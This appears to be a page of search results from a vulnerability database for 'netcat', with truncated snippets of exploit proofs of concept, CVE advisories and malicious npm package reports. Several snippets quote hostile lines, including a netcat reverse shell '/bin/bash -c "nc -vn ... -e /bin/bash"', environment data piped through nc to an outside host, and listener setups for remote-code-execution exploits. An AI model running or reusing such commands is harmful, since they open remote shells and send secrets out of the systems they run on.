774 matches found
CVE-2024-4439
Exploit CVE-2024-4439 This Python script demonstrates an exploit for the vulnerability CVE-2024-4439. You can use this script to test a vulnerable WordPress site. Usage Before start git clone https://github.com/soltanali0/CVE-2024-4439.git cd CVE-2024-4439 pip install -r r.txt...
CVE-2025-24893
CVE-2025-24893 Bash POC script for RCE vulnerability in XWiki Platform Example usage: Setup a netcat listener: $ nc -nvlp Then run the script: $ chmod +x cve.sh $ ./cve.sh Affected versions: From 5.4 up to 15.10.11 From 16.0.0 up to 16.4.1 Disclamer This tool is for educational purposes only. I...
BDU-2023-05144
BDU:2023-05144 BDU:2023-05144 Nuclei checker Netcat CMS 6.2.0.23239 Open redirect CWE-601...
rejetto-http-file-server-2.3.x-RCE-exploit-CVE-2014-6287
rejetto-http-file-server-2.3.x-RCE-exploit-CVE-2014-6287 This repository contains Detailed explanation and working poc for Rejetto HTTP File Server HFS 2.3.x - Remote Command Execution. Configuration: Create a netcat listner. nc -lnvp 1234 Change the attacker ip to your ip and port. Also create a...
powercat
powercat Netcat: La versión de PowerShell. Compatible con PowerShell versión 2 y posteriores Instalación powercat es una función de PowerShell. Primero debes cargar la función antes de poder ejecutarla. Puedes colocar uno de los siguientes comandos en tu perfil de PowerShell para que powercat se...
Implementing Data Diodes Using Commodity Hardware and Open Source Software
One-way network devices, known as data diodes, are used to defend against sophisticated cyberattacks. Partly due to their high cost, data diodes are mostly deployed in nuclear power plants and within the government for handling classified information. Although commercially available data diodes a...
Malicious code in evilpostinstall (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 846e500b06f58769a2cb833be8e726ab1db04b327f4c614da6642eb46ae7dfe5 The package's postinstall lifecycle hook pipes the output of env through nc to a host reconstructed at install time from the package version string v...
LPD-RFC-1179-Vulnerability-POC
LPD-RFC-1179-Vulnerability-POC Shell injection vulnerability i...
jdwp-exploit
JDWP Remote Code Execution Exploit A Python 3 implementation...
Security-Writeups
🔐 Security Writeups Welcome! This repository contains my pers...
Malicious code in internallib_v234 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8af2fded6fa5a25932255b36ee1a4e4293d955d9a74d54334ec133105f3ec087 [email protected] exports a command function whose body unconditionally invokes /bin/bash -c "nc -vn 10.0.74.133 13337 -e /bin/bash", opening an...
MAL-2026-6796 Malicious code in internallib_v234 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8af2fded6fa5a25932255b36ee1a4e4293d955d9a74d54334ec133105f3ec087 [email protected] exports a command function whose body unconditionally invokes /bin/bash -c "nc -vn 10.0.74.133 13337 -e /bin/bash", opening an...
CVE-2026-42850
A flaw was found in Kitty, a cross-platform GPU based terminal. A remote attacker could exploit this vulnerability by sending a specially crafted escape code to a victim who is connected to the attacker via a program like netcat. This escape code triggers an unescaped error that is then executed ...
DEBIAN-CVE-2026-42850
Kitty is a cross-platform GPU based terminal. In versions prior to 0.47.0, it is possible to inject commands within the subshell through kitty error. A special escape code will make kitty return an error, this error is not escaped and will be correctly echoed back to the terminal with CRLF, as su...
UBUNTU-CVE-2026-42850
Kitty is a cross-platform GPU based terminal. In versions prior to 0.47.0, it is possible to inject commands within the subshell through kitty error. A special escape code will make kitty return an error, this error is not escaped and will be correctly echoed back to the terminal with CRLF, as su...
EUVD-2026-36553
Kitty is a cross-platform GPU based terminal. In versions prior to 0.47.0, it is possible to inject commands within the subshell through kitty error. A special escape code will make kitty return an error, this error is not escaped and will be correctly echoed back to the terminal with CRLF, as su...
CVE-2026-42850
CVE-2026-42850 affects the Kitty terminal (GPU-based, cross-platform). In versions prior to 0.47.0, an injection is possible through a crafted kitty error that is echoed back to the terminal with CRLF and executed by the user’s shell. The attack requires the victim to connect to the attacker (e.g...
Exploit for Missing Authentication for Critical Function in Mcpjam Inspector
on kali linux - terminal 1...
📄 Exim 4.91 Remote Command Execution
Exim versions 4.87 through 4.91 improper recipient-address validation remote command execution exploit. Spawns a netcat shell on port 31415 as root, then connects to it Vulnerablity is within Exim 4.87-4.91 import subprocess import socket import os import time from subprocess import Popen, PIPE...